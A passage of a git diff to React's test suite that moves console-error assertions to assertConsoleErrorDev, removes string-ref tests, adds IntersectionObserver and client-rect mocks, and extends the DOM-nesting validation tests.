-    await expect(
-      expect(async () => {
-        await act(() => {
-          component.setState({}, {foo: 'bar'});
-        });
-      }).toErrorDev(
-        'Expected the last optional `callback` argument to be ' +
-          'a function. Instead received: [object Object].',
-      ),
-    ).rejects.toThrowError(
+    await expect(async () => {
+      await act(() => {
+        component.setState({}, {foo: 'bar'});
+      });
+    }).rejects.toThrowError(
       'Invalid argument passed as callback. Expected a function. Instead ' +
         'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be ' +
+        "a function. Instead received: { foo: 'bar' }.",
+    ]);
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
     await act(() => {
@@ -1110,38 +1122,36 @@ describe('ReactUpdates', () => {
       root.render(<A ref={current => (component = current)} />);
     });
 
-    await expect(
-      expect(async () => {
-        await act(() => {
-          component.forceUpdate('no');
-        });
-      }).toErrorDev(
-        'Expected the last optional `callback` argument to be ' +
-          'a function. Instead received: no.',
-      ),
-    ).rejects.toThrowError(
+    await expect(async () => {
+      await act(() => {
+        component.forceUpdate('no');
+      });
+    }).rejects.toThrowError(
       'Invalid argument passed as callback. Expected a function. Instead ' +
         'received: no',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be ' +
+        'a function. Instead received: no.',
+    ]);
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
     await act(() => {
       root.render(<A ref={current => (component = current)} />);
     });
 
-    await expect(
-      expect(async () => {
-        await act(() => {
-          component.forceUpdate({foo: 'bar'});
-        });
-      }).toErrorDev(
-        'Expected the last optional `callback` argument to be ' +
-          'a function. Instead received: [object Object].',
-      ),
-    ).rejects.toThrowError(
+    await expect(async () => {
+      await act(() => {
+        component.forceUpdate({foo: 'bar'});
+      });
+    }).rejects.toThrowError(
       'Invalid argument passed as callback. Expected a function. Instead ' +
         'received: [object Object]',
     );
+    assertConsoleErrorDev([
+      'Expected the last optional `callback` argument to be ' +
+        "a function. Instead received: { foo: 'bar' }.",
+    ]);
     // Make sure the warning is deduplicated and doesn't fire again
     container = document.createElement('div');
     root = ReactDOMClient.createRoot(container);
@@ -1353,11 +1363,14 @@ describe('ReactUpdates', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Foo />);
-      });
-    }).toErrorDev('Cannot update during an existing state transition');
+    await act(() => {
+      root.render(<Foo />);
+    });
+    assertConsoleErrorDev([
+      'Cannot update during an existing state transition (such as within `render`). ' +
+        'Render methods should be a pure function of props and state.\n' +
+        '    in Foo (at **)',
+    ]);
 
     assertLog(['base: 0, memoized: 0', 'base: 1, memoized: 1']);
   });
@@ -1779,8 +1792,8 @@ describe('ReactUpdates', () => {
     expect(subscribers.length).toBe(limit);
   });
 
-  it("does not infinite loop if there's a synchronous render phase update on another component", async () => {
-    if (gate(flags => !flags.enableInfiniteRenderLoopDetection)) {
+  it("warns about potential infinite loop if there's a synchronous render phase update on another component", async () => {
+    if (!__DEV__ || gate(flags => !flags.enableInfiniteRenderLoopDetection)) {
       return;
     }
     let setState;
@@ -1796,20 +1809,29 @@ describe('ReactUpdates', () => {
       return null;
     }
 
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-
-    await expect(async () => {
-      await expect(async () => {
-        await act(() => ReactDOM.flushSync(() => root.render(<App />)));
-      }).rejects.toThrow('Maximum update depth exceeded');
-    }).toErrorDev(
-      'Cannot update a component (`App`) while rendering a different component (`Child`)',
-    );
+    const originalConsoleError = console.error;
+    console.error = e => {
+      if (
+        typeof e === 'string' &&
+        e.startsWith(
+          'Maximum update depth exceeded. This could be an infinite loop.',
+        )
+      ) {
+        Scheduler.log('stop');
+      }
+    };
+    try {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      root.render(<App />);
+      await waitFor(['stop']);
+    } finally {
+      console.error = originalConsoleError;
+    }
   });
 
-  it("does not infinite loop if there's an async render phase update on another component", async () => {
-    if (gate(flags => !flags.enableInfiniteRenderLoopDetection)) {
+  it("warns about potential infinite loop if there's an async render phase update on another component", async () => {
+    if (!__DEV__ || gate(flags => !flags.enableInfiniteRenderLoopDetection)) {
       return;
     }
     let setState;
@@ -1825,22 +1847,25 @@ describe('ReactUpdates', () => {
       return null;
     }
 
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-
-    await expect(async () => {
-      let error;
-      try {
-        await act(() => {
-          React.startTransition(() => root.render(<App />));
-        });
-      } catch (e) {
-        error = e;
+    const originalConsoleError = console.error;
+    console.error = e => {
+      if (
+        typeof e === 'string' &&
+        e.startsWith(
+          'Maximum update depth exceeded. This could be an infinite loop.',
+        )
+      ) {
+        Scheduler.log('stop');
       }
-      expect(error.message).toMatch('Maximum update depth exceeded');
-    }).toErrorDev(
-      'Cannot update a component (`App`) while rendering a different component (`Child`)',
-    );
+    };
+    try {
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      React.startTransition(() => root.render(<App />));
+      await waitFor(['stop']);
+    } finally {
+      console.error = originalConsoleError;
+    }
   });
 
   // TODO: Replace this branch with @gate pragmas
@@ -1859,13 +1884,13 @@ describe('ReactUpdates', () => {
       }
 
       let error = null;
-      let stack = null;
-      let nativeStack = null;
+      let ownerStack = null;
+      let debugStack = null;
       const originalConsoleError = console.error;
-      console.error = (e, s) => {
+      console.error = e => {
         error = e;
-        stack = s;
-        nativeStack = new Error().stack;
+        ownerStack = React.captureOwnerStack();
+        debugStack = new Error().stack;
         Scheduler.log('stop');
       };
       try {
@@ -1879,13 +1904,8 @@ describe('ReactUpdates', () => {
 
       expect(error).toContain('Maximum update depth exceeded');
       // The currently executing effect should be on the native stack
-      expect(nativeStack).toContain('at myEffect');
-      if (!gate(flags => flags.enableOwnerStacks)) {
-        // The currently running component's name is not in the owner
-        // stack because it's just its JSX callsite.
-        expect(stack).toContain('at NonTerminating');
-      }
-      expect(stack).toContain('at App');
+      expect(debugStack).toContain('at myEffect');
+      expect(ownerStack).toContain('at App');
     });
 
     it('can have nested updates if they do not cross the limit', async () => {
@@ -1964,13 +1984,65 @@ describe('ReactUpdates', () => {
     }
 
     const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        ReactDOM.flushSync(() => {
-          root.render(<NonTerminating />);
-        });
+    const errors = [];
+    const root = ReactDOMClient.createRoot(container, {
+      onUncaughtError: (error, errorInfo) => {
+        errors.push(
+          `${error.message}${normalizeCodeLocInfo(errorInfo.componentStack)}`,
+        );
+      },
+    });
+    await act(() => {
+      ReactDOM.flushSync(() => {
+        root.render(<NonTerminating />);
       });
-    }).rejects.toThrow('Maximum update depth exceeded');
+    });
+
+    expect(errors).toEqual([
+      'Maximum update depth exceeded. ' +
+        'This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. ' +
+        'React limits the number of nested updates to prevent infinite loops.' +
+        '\n    in NonTerminating (at **)',
+    ]);
+  });
+
+  it('prevents infinite update loop triggered by too many updates in ref callbacks', async () => {
+    let scheduleUpdate;
+    function TooManyRefUpdates() {
+      const [count, _scheduleUpdate] = React.useReducer(c => c + 1, 0);
+      scheduleUpdate = _scheduleUpdate;
+
+      return (
+        <div
+          ref={() => {
+            for (let i = 0; i < 50; i++) {
+              scheduleUpdate(1);
+            }
+          }}>
+          {count}
+        </div>
+      );
+    }
+
+    const container = document.createElement('div');
+    const errors = [];
+    const root = ReactDOMClient.createRoot(container, {
+      onUncaughtError: (error, errorInfo) => {
+        errors.push(
+          `${error.message}${normalizeCodeLocInfo(errorInfo.componentStack)}`,
+        );
+      },
+    });
+    await act(() => {
+      root.render(<TooManyRefUpdates />);
+    });
+
+    expect(errors).toEqual([
+      'Maximum update depth exceeded. ' +
+        'This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. ' +
+        'React limits the number of nested updates to prevent infinite loops.' +
+        '\n    in div' +
+        '\n    in TooManyRefUpdates (at **)',
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactWrongReturnPointer-test.js b/packages/react-dom/src/__tests__/ReactWrongReturnPointer-test.js
index 468d5b54e1ae..0c73410f2edf 100644
--- a/packages/react-dom/src/__tests__/ReactWrongReturnPointer-test.js
+++ b/packages/react-dom/src/__tests__/ReactWrongReturnPointer-test.js
@@ -172,7 +172,7 @@ test('regression (#20932): return pointer is correct before entering deleted tre
 
   function App() {
     return (
-      <SuspenseList revealOrder="forwards">
+      <SuspenseList revealOrder="forwards" tail="visible">
         <Suspense fallback={<Text text="Loading Async..." />}>
           <Async />
         </Suspense>
@@ -192,7 +192,13 @@ test('regression (#20932): return pointer is correct before entering deleted tre
   await act(() => {
     root.render(<App />);
   });
-  assertLog(['Suspend! [0]', 'Loading Async...', 'Loading Tail...']);
+  assertLog([
+    'Suspend! [0]',
+    'Loading Async...',
+    'Loading Tail...',
+    // pre-warming
+    'Suspend! [0]',
+  ]);
   await act(() => {
     resolveText(0);
   });
@@ -205,5 +211,7 @@ test('regression (#20932): return pointer is correct before entering deleted tre
     'Loading Async...',
     'Suspend! [1]',
     'Loading Async...',
+    // pre-warming
+    'Suspend! [1]',
   ]);
 });
diff --git a/packages/react-dom/src/__tests__/findDOMNodeFB-test.js b/packages/react-dom/src/__tests__/findDOMNodeFB-test.js
index 417ae0c40e7f..28212c0d5cf8 100644
--- a/packages/react-dom/src/__tests__/findDOMNodeFB-test.js
+++ b/packages/react-dom/src/__tests__/findDOMNodeFB-test.js
@@ -12,6 +12,8 @@
 const React = require('react');
 const ReactDOM = require('react-dom');
 const StrictMode = React.StrictMode;
+const assertConsoleErrorDev =
+  require('internal-test-utils').assertConsoleErrorDev;
 
 describe('findDOMNode', () => {
   // @gate www && classic
@@ -128,8 +130,8 @@ describe('findDOMNode', () => {
       container,
     );
 
-    let match;
-    expect(() => (match = ReactDOM.findDOMNode(parent))).toErrorDev([
+    const match = ReactDOM.findDOMNode(parent);
+    assertConsoleErrorDev([
       'findDOMNode is deprecated in StrictMode. ' +
         'findDOMNode was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -161,8 +163,8 @@ describe('findDOMNode', () => {
       container,
     );
 
-    let match;
-    expect(() => (match = ReactDOM.findDOMNode(parent))).toErrorDev([
+    const match = ReactDOM.findDOMNode(parent);
+    assertConsoleErrorDev([
       'findDOMNode is deprecated in StrictMode. ' +
         'findDOMNode was passed an instance of IsInStrictMode which is inside StrictMode. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
diff --git a/packages/react-dom/src/__tests__/multiple-copies-of-react-test.js b/packages/react-dom/src/__tests__/multiple-copies-of-react-test.js
deleted file mode 100644
index 2d107cbb1970..000000000000
--- a/packages/react-dom/src/__tests__/multiple-copies-of-react-test.js
+++ /dev/null
@@ -1,38 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-let React = require('react');
-const ReactDOMClient = require('react-dom/client');
-const act = require('internal-test-utils').act;
-
-class TextWithStringRef extends React.Component {
-  render() {
-    jest.resetModules();
-    React = require('react');
-    return <span ref="foo">Hello world!</span>;
-  }
-}
-
-describe('when different React version is used with string ref', () => {
-  // @gate !disableStringRefs
-  it('throws the "Refs must have owner" warning', async () => {
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(
-      act(() => {
-        root.render(<TextWithStringRef />);
-      }),
-    )
-      // TODO: This throws an AggregateError. Need to update test infra to
-      // support matching against AggregateError.
-      .rejects.toThrow();
-  });
-});
diff --git a/packages/react-dom/src/__tests__/refs-test.js b/packages/react-dom/src/__tests__/refs-test.js
index 1b081bff73b0..b80f8b27753f 100644
--- a/packages/react-dom/src/__tests__/refs-test.js
+++ b/packages/react-dom/src/__tests__/refs-test.js
@@ -13,179 +13,6 @@ const React = require('react');
 const ReactDOMClient = require('react-dom/client');
 const act = require('internal-test-utils').act;
 
-// This is testing if string refs are deleted from `instance.refs`
-// Once support for string refs is removed, this test can be removed.
-// Detaching is already tested in refs-detruction-test.js
-describe('reactiverefs', () => {
-  let container;
-
-  afterEach(() => {
-    if (container) {
-      document.body.removeChild(container);
-      container = null;
-    }
-  });
-
-  /**
-   * Counts clicks and has a renders an item for each click. Each item rendered
-   * has a ref of the form "clickLogN".
-   */
-  class ClickCounter extends React.Component {
-    state = {count: this.props.initialCount};
-
-    triggerReset = () => {
-      this.setState({count: this.props.initialCount});
-    };
-
-    handleClick = () => {
-      this.setState({count: this.state.count + 1});
-    };
-
-    render() {
-      const children = [];
-      let i;
-      for (i = 0; i < this.state.count; i++) {
-        children.push(
-          <div
-            className="clickLogDiv"
-            key={'clickLog' + i}
-            ref={'clickLog' + i}
-          />,
-        );
-      }
-      return (
-        <span className="clickIncrementer" onClick={this.handleClick}>
-          {children}
-        </span>
-      );
-    }
-  }
-
-  const expectClickLogsLengthToBe = function (instance, length) {
-    const clickLogs = instance.container.querySelectorAll('.clickLogDiv');
-    expect(clickLogs.length).toBe(length);
-    expect(Object.keys(instance.refs.myCounter.refs).length).toBe(length);
-  };
-
-  /**
-   * Render a TestRefsComponent and ensure that the main refs are wired up.
-   */
-  const renderTestRefsComponent = async function () {
-    /**
-     * Only purpose is to test that refs are tracked even when applied to a
-     * component that is injected down several layers. Ref systems are difficult to
-     * build in such a way that ownership is maintained in an airtight manner.
-     */
-    class GeneralContainerComponent extends React.Component {
-      render() {
-        return <div>{this.props.children}</div>;
-      }
-    }
-
-    /**
-     * Notice how refs ownership is maintained even when injecting a component
-     * into a different parent.
-     */
-    class TestRefsComponent extends React.Component {
-      container = null;
-      doReset = () => {
-        this.refs.myCounter.triggerReset();
-      };
-
-      render() {
-        return (
-          <div ref={current => (this.container = current)}>
-            <div ref="resetDiv" onClick={this.doReset}>
-              Reset Me By Clicking This.
-            </div>
-            <GeneralContainerComponent ref="myContainer">
-              <ClickCounter ref="myCounter" initialCount={1} />
-            </GeneralContainerComponent>
-          </div>
-        );
-      }
-    }
-
-    container = document.createElement('div');
-    document.body.appendChild(container);
-
-    let testRefsComponent;
-    await expect(async () => {
-      const root = ReactDOMClient.createRoot(container);
-      await act(() => {
-        root.render(
-          <TestRefsComponent
-            ref={current => {
-              testRefsComponent = current;
-            }}
-          />,
-        );
-      });
-    }).toErrorDev([
-      'Component "TestRefsComponent" contains the string ' +
-        'ref "resetDiv". Support for string refs will be removed in a ' +
-        'future major release. We recommend using useRef() or createRef() ' +
-        'instead. Learn more about using refs safely ' +
-        'here: https://react.dev/link/strict-mode-string-ref\n' +
-        '    in div (at **)\n' +
-        '    in div (at **)\n' +
-        '    in TestRefsComponent (at **)',
-      'Component "ClickCounter" contains the string ' +
-        'ref "clickLog0". Support for string refs will be removed in a ' +
-        'future major release. We recommend using useRef() or createRef() ' +
-        'instead. Learn more about using refs safely ' +
-        'here: https://react.dev/link/strict-mode-string-ref\n' +
-        '    in div (at **)\n' +
-        '    in span (at **)\n' +
-        '    in ClickCounter (at **)',
-    ]);
-
-    expect(testRefsComponent instanceof TestRefsComponent).toBe(true);
-
-    const generalContainer = testRefsComponent.refs.myContainer;
-    expect(generalContainer instanceof GeneralContainerComponent).toBe(true);
-
-    const counter = testRefsComponent.refs.myCounter;
-    expect(counter instanceof ClickCounter).toBe(true);
-
-    return testRefsComponent;
-  };
-
-  /**
-   * Ensure that for every click log there is a corresponding ref (from the
-   * perspective of the injected ClickCounter component.
-   */
-  // @gate !disableStringRefs
-  it('Should increase refs with an increase in divs', async () => {
-    const testRefsComponent = await renderTestRefsComponent();
-    const clickIncrementer =
-      testRefsComponent.container.querySelector('.clickIncrementer');
-
-    expectClickLogsLengthToBe(testRefsComponent, 1);
-
-    // After clicking the reset, there should still only be one click log ref.
-    testRefsComponent.refs.resetDiv.click();
-    expectClickLogsLengthToBe(testRefsComponent, 1);
-
-    // Begin incrementing clicks (and therefore refs).
-    await act(() => {
-      clickIncrementer.click();
-    });
-    expectClickLogsLengthToBe(testRefsComponent, 2);
-
-    await act(() => {
-      clickIncrementer.click();
-    });
-    expectClickLogsLengthToBe(testRefsComponent, 3);
-
-    // Now reset again
-    await act(() => {
-      testRefsComponent.refs.resetDiv.click();
-    });
-    expectClickLogsLengthToBe(testRefsComponent, 1);
-  });
-});
-
 /**
  * Tests that when a ref hops around children, we can track that correctly.
  */
@@ -320,32 +147,6 @@ describe('ref swapping', () => {
     expect(refCalled).toBe(1);
   });
 
-  // @gate !disableStringRefs
-  it('coerces numbers to strings', async () => {
-    class A extends React.Component {
-      render() {
-        return <div ref={1} />;
-      }
-    }
-    let a;
-    await expect(async () => {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-
-      await act(() => {
-        root.render(<A ref={current => (a = current)} />);
-      });
-    }).toErrorDev([
-      'Component "A" contains the string ref "1". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'We recommend using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-        '    in div (at **)\n' +
-        '    in A (at **)',
-    ]);
-    expect(a.refs[1].nodeName).toBe('DIV');
-  });
-
   it('provides an error for invalid refs', async () => {
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
@@ -369,24 +170,6 @@ describe('ref swapping', () => {
       });
     }).rejects.toThrow('Expected ref to be a function');
   });
-
-  // @gate !enableRefAsProp && www
-  it('undefined ref on manually inlined React element triggers error', async () => {
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render({
-          $$typeof: Symbol.for('react.element'),
-          type: 'div',
-          props: {
-            ref: undefined,
-          },
-          key: null,
-        });
-      });
-    }).rejects.toThrow('Expected ref to be a function');
-  });
 });
 
 describe('root level refs', () => {
@@ -487,108 +270,6 @@ describe('root level refs', () => {
   });
 });
 
-describe('creating element with string ref in constructor', () => {
-  class RefTest extends React.Component {
-    constructor(props) {
-      super(props);
-      this.p = <p ref="p">Hello!</p>;
-    }
-
-    render() {
-      return <div>{this.p}</div>;
-    }
-  }
-
-  // @gate !disableStringRefs && !__DEV__
-  it('throws an error in prod', async () => {
-    await expect(async function () {
-      const container = document.createElement('div');
-      const root = ReactDOMClient.createRoot(container);
-
-      await act(() => {
-        root.render(<RefTest />);
-      });
-    })
-      // TODO: This throws an AggregateError. Need to update test infra to
-      // support matching against AggregateError.
-      .rejects.toThrowError();
-  });
-});
-
-describe('strings refs across renderers', () => {
-  // @gate !disableStringRefs
-  it('does not break', async () => {
-    class Parent extends React.Component {
-      render() {
-        // This component owns both refs.
-        return (
-          <Indirection
-            child1={<div ref="child1" />}
-            child2={<div ref="child2" />}
-          />
-        );
-      }
-    }
-
-    class Indirection extends React.Component {
-      componentDidUpdate() {
-        // One ref is being rendered later using another renderer copy.
-        jest.resetModules();
-        const AnotherCopyOfReactDOM = require('react-dom');
-        const AnotherCopyOfReactDOMClient = require('react-dom/client');
-        const root = AnotherCopyOfReactDOMClient.createRoot(div2);
-        AnotherCopyOfReactDOM.flushSync(() => {
-          root.render(this.props.child2);
-        });
-      }
-      render() {
-        // The other one is being rendered directly.
-        return this.props.child1;
-      }
-    }
-
-    const div1 = document.createElement('div');
-    const div2 = document.createElement('div');
-
-    const root = ReactDOMClient.createRoot(div1);
-    let inst;
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <Parent
-            ref={current => {
-              if (current !== null) {
-                inst = current;
-              }
-            }}
-          />,
-        );
-      });
-    }).toErrorDev([
-      'Component "Parent" contains the string ref "child1". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'We recommend using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-        '    in div (at **)\n' +
-        '    in Indirection (at **)\n' +
-        '    in Parent (at **)',
-    ]);
-
-    // Only the first ref has rendered yet.
-    expect(inst.refs.child1.tagName).toBe('DIV');
-    expect(inst.refs.child1).toBe(div1.firstChild);
-
-    // Now both refs should be rendered.
-    await act(() => {
-      root.render(<Parent />);
-    });
-    expect(inst.refs.child1.tagName).toBe('DIV');
-    expect(inst.refs.child1).toBe(div1.firstChild);
-    expect(inst.refs.child2.tagName).toBe('DIV');
-    expect(inst.refs.child2).toBe(div2.firstChild);
-  });
-});
-
 describe('refs return clean up function', () => {
   it('calls clean up function if it exists', async () => {
     const container = document.createElement('div');
diff --git a/packages/react-dom/src/__tests__/utils/IntersectionMocks.js b/packages/react-dom/src/__tests__/utils/IntersectionMocks.js
new file mode 100644
index 000000000000..9d36f46ae946
--- /dev/null
+++ b/packages/react-dom/src/__tests__/utils/IntersectionMocks.js
@@ -0,0 +1,150 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ */
+
+const intersectionObserverMock = {callback: null, observedTargets: []};
+
+/**
+ * This is a broken polyfill.
+ * It is only intended to provide bare minimum test coverage.
+ * More meaningful tests will require the use of fixtures.
+ */
+export function mockIntersectionObserver() {
+  intersectionObserverMock.callback = null;
+  intersectionObserverMock.observedTargets = [];
+
+  class IntersectionObserver {
+    constructor() {
+      intersectionObserverMock.callback = arguments[0];
+    }
+
+    disconnect() {
+      intersectionObserverMock.callback = null;
+      intersectionObserverMock.observedTargets.splice(0);
+    }
+
+    observe(target) {
+      intersectionObserverMock.observedTargets.push(target);
+    }
+
+    unobserve(target) {
+      const index = intersectionObserverMock.observedTargets.indexOf(target);
+      if (index >= 0) {
+        intersectionObserverMock.observedTargets.splice(index, 1);
+      }
+    }
+  }
+
+  window.IntersectionObserver = IntersectionObserver;
+
+  return intersectionObserverMock;
+}
+
+export function simulateIntersection(...entries) {
+  intersectionObserverMock.callback(
+    entries.map(([target, rect, ratio]) => ({
+      boundingClientRect: {
+        top: rect.y,
+        left: rect.x,
+        width: rect.width,
+        height: rect.height,
+      },
+      intersectionRatio: ratio,
+      target,
+    })),
+  );
+}
+
+/**
+ * Stub out getBoundingClientRect for the specified target.
+ * This API is required by the test selectors but it isn't implemented by jsdom.
+ */
+export function setBoundingClientRect(target, {x, y, width, height}) {
+  target.getBoundingClientRect = function () {
+    return {
+      width,
+      height,
+      left: x,
+      right: x + width,
+      top: y,
+      bottom: y + height,
+    };
+  };
+}
+
+/**
+ * Stub out getClientRects for the specified target.
+ */
+export function setClientRects(target, rects) {
+  target.getClientRects = function () {
+    return rects.map(({x, y, width, height}) => ({
+      width,
+      height,
+      left: x,
+      right: x + width,
+      top: y,
+      bottom: y + height,
+      x,
+      y,
+    }));
+  };
+}
+
+/**
+ * Mock Range.prototype.getClientRects and getBoundingClientRect since jsdom doesn't implement them.
+ * Call this in beforeEach to set up the mock.
+ */
+export function mockRangeClientRects(
+  rects = [{x: 0, y: 0, width: 100, height: 20}],
+) {
+  const originalCreateRange = document.createRange;
+  document.createRange = function () {
+    const range = originalCreateRange.call(document);
+    range.getClientRects = function () {
+      return rects.map(({x, y, width, height}) => ({
+        width,
+        height,
+        left: x,
+        right: x + width,
+        top: y,
+        bottom: y + height,
+        x,
+        y,
+      }));
+    };
+    range.getBoundingClientRect = function () {
+      // Return the bounding rect that encompasses all rects
+      if (rects.length === 0) {
+        return {
+          width: 0,
+          height: 0,
+          left: 0,
+          right: 0,
+          top: 0,
+          bottom: 0,
+          x: 0,
+          y: 0,
+        };
+      }
+      const first = rects[0];
+      return {
+        width: first.width,
+        height: first.height,
+        left: first.x,
+        right: first.x + first.width,
+        top: first.y,
+        bottom: first.y + first.height,
+        x: first.x,
+        y: first.y,
+      };
+    };
+    return range;
+  };
+  return function restore() {
+    document.createRange = originalCreateRange;
+  };
+}
diff --git a/packages/react-dom/src/__tests__/utils/ReactDOMServerIntegrationTestUtils.js b/packages/react-dom/src/__tests__/utils/ReactDOMServerIntegrationTestUtils.js
index 76dea3e73263..4d2bd050f744 100644
--- a/packages/react-dom/src/__tests__/utils/ReactDOMServerIntegrationTestUtils.js
+++ b/packages/react-dom/src/__tests__/utils/ReactDOMServerIntegrationTestUtils.js
@@ -17,12 +17,10 @@ module.exports = function (initModules) {
   let ReactDOMClient;
   let ReactDOMServer;
   let act;
-  let ReactFeatureFlags;
 
   function resetModules() {
     ({ReactDOM, ReactDOMClient, ReactDOMServer} = initModules());
     act = require('internal-test-utils').act;
-    ReactFeatureFlags = require('shared/ReactFeatureFlags');
   }
 
   function shouldUseDocument(reactElement) {
@@ -87,7 +85,7 @@ module.exports = function (initModules) {
       console.error.mockClear();
     } else {
       // TODO: Rewrite tests that use this helper to enumerate expected errors.
-      // This will enable the helper to use the .toErrorDev() matcher instead of spying.
+      // This will enable the helper to use the assertConsoleErrorDev instead of spying.
       spyOnDev(console, 'error').mockImplementation(() => {});
     }
 
@@ -274,10 +272,8 @@ module.exports = function (initModules) {
     const cleanTextContent =
       (cleanContainer.lastChild && cleanContainer.lastChild.textContent) || '';
 
-    if (ReactFeatureFlags.favorSafetyOverHydrationPerf) {
-      // The only guarantee is that text content has been patched up if needed.
-      expect(hydratedTextContent).toBe(cleanTextContent);
-    }
+    // The only guarantee is that text content has been patched up if needed.
+    expect(hydratedTextContent).toBe(cleanTextContent);
 
     // Abort any further expects. All bets are off at this point.
     throw new BadMarkupExpected();
diff --git a/packages/react-dom/src/__tests__/validateDOMNesting-test.js b/packages/react-dom/src/__tests__/validateDOMNesting-test.js
index 4690ba09c74e..1940fe913d75 100644
--- a/packages/react-dom/src/__tests__/validateDOMNesting-test.js
+++ b/packages/react-dom/src/__tests__/validateDOMNesting-test.js
@@ -12,33 +12,58 @@
 const React = require('react');
 const ReactDOM = require('react-dom');
 const ReactDOMClient = require('react-dom/client');
+const assertConsoleErrorDev =
+  require('internal-test-utils').assertConsoleErrorDev;
 
-function expectWarnings(tags, warnings = [], withoutStack = 0) {
+function expectWarnings(tags, warnings = []) {
   tags = [...tags];
   warnings = [...warnings];
 
+  document.removeChild(document.documentElement);
+  document.appendChild(document.createElement('html'));
+  document.documentElement.innerHTML = '<head></head><body></body>';
+
   let element = null;
   const containerTag = tags.shift();
-  const container =
-    containerTag === 'svg'
-      ? document.createElementNS('http://www.w3.org/2000/svg', containerTag)
-      : document.createElement(containerTag);
+  let container;
+  switch (containerTag) {
+    case '#document':
+      container = document;
+      break;
+    case 'html':
+      container = document.documentElement;
+      break;
+    case 'body':
+      container = document.body;
+      break;
+    case 'head':
+      container = document.head;
+      break;
+    case 'svg':
+      container = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
+      break;
+    default:
+      container = document.createElement(containerTag);
+      break;
+  }
 
   while (tags.length) {
     const Tag = tags.pop();
-    element = <Tag>{element}</Tag>;
+    if (Tag === '#text') {
+      element = 'text';
+    } else {
+      element = <Tag>{element}</Tag>;
+    }
   }
 
   const root = ReactDOMClient.createRoot(container);
+  ReactDOM.flushSync(() => {
+    root.render(element);
+  });
   if (warnings.length) {
-    expect(() => {
-      ReactDOM.flushSync(() => {
-        root.render(element);
-      });
-    }).toErrorDev(warnings, {
-      withoutStack,
-    });
+    assertConsoleErrorDev(warnings);
   }
+  root.unmount();
 }
 
 describe('validateDOMNesting', () => {
@@ -93,13 +118,19 @@ describe('validateDOMNesting', () => {
     );
     expectWarnings(
       ['div', 'ul', 'li', 'div', 'li'],
+
       [
         'In HTML, <li> cannot be a descendant of <li>.\n' +
           'This will cause a hydration error.\n' +
-          '    in li (at **)\n' +
-          '    in div (at **)\n' +
-          '    in li (at **)\n' +
-          '    in ul (at **)',
+          '\n' +
+          '  <ul>\n' +
+          '>   <li>\n' +
+          '      <div>\n' +
+          '>       <li>\n' +
+          '\n' +
+          '    in li (at **)',
+        '<li> cannot contain a nested <li>.\nSee this log for the ancestor stack trace.\n' +
+          '    in li (at **)',
       ],
     );
     expectWarnings(
@@ -118,17 +149,76 @@ describe('validateDOMNesting', () => {
           '    in body (at **)',
       ],
     );
+    expectWarnings(
+      ['head', 'body'],
+      [
+        'In HTML, <body> cannot be a child of <head>.\n' +
+          'This will cause a hydration error.\n' +
+          '    in body (at **)',
+      ],
+    );
+    expectWarnings(
+      ['head', 'head'],
+      [
+        'In HTML, <head> cannot be a child of <head>.\n' +
+          'This will cause a hydration error.\n' +
+          '    in head (at **)',
+      ],
+    );
+    expectWarnings(
+      ['html', 'html'],
+      [
+        'In HTML, <html> cannot be a child of <html>.\n' +
+          'This will cause a hydration error.\n' +
+          '    in html (at **)',
+      ],
+    );
+    expectWarnings(
+      ['body', 'html'],
+      [
+        'In HTML, <html> cannot be a child of <body>.\n' +
+          'This will cause a hydration error.\n' +
+          '    in html (at **)',
+      ],
+    );
+    expectWarnings(
+      ['head', 'html'],
+      [
+        'In HTML, <html> cannot be a child of <head>.\n' +
+          'This will cause a hydration error.\n' +
+          '    in html (at **)',
+      ],
+    );
     expectWarnings(
       ['svg', 'foreignObject', 'body', 'p'],
       [
         // TODO, this should say "In SVG",
         'In HTML, <body> cannot be a child of <foreignObject>.\n' +
           'This will cause a hydration error.\n' +
-          '    in body (at **)\n' +
-          '    in foreignObject (at **)',
-        'You are mounting a new body component when a previous one has not first unmounted. It is an error to render more than one body component at a time and attributes and children of these components will likely fail in unpredictable ways. Please only render a single instance of <body> and if you need to mount a new one, ensure any previous ones have unmounted first.\n' +
+          '\n' +
+          '> <foreignObject>\n' +
+          '>   <body>\n' +
+          '\n' +
           '    in body (at **)',
       ],
     );
   });
+
+  it('relaxes the nesting rules at the root when the container is a singleton', () => {
+    expectWarnings(['#document', 'html']);
+    expectWarnings(['#document', 'body']);
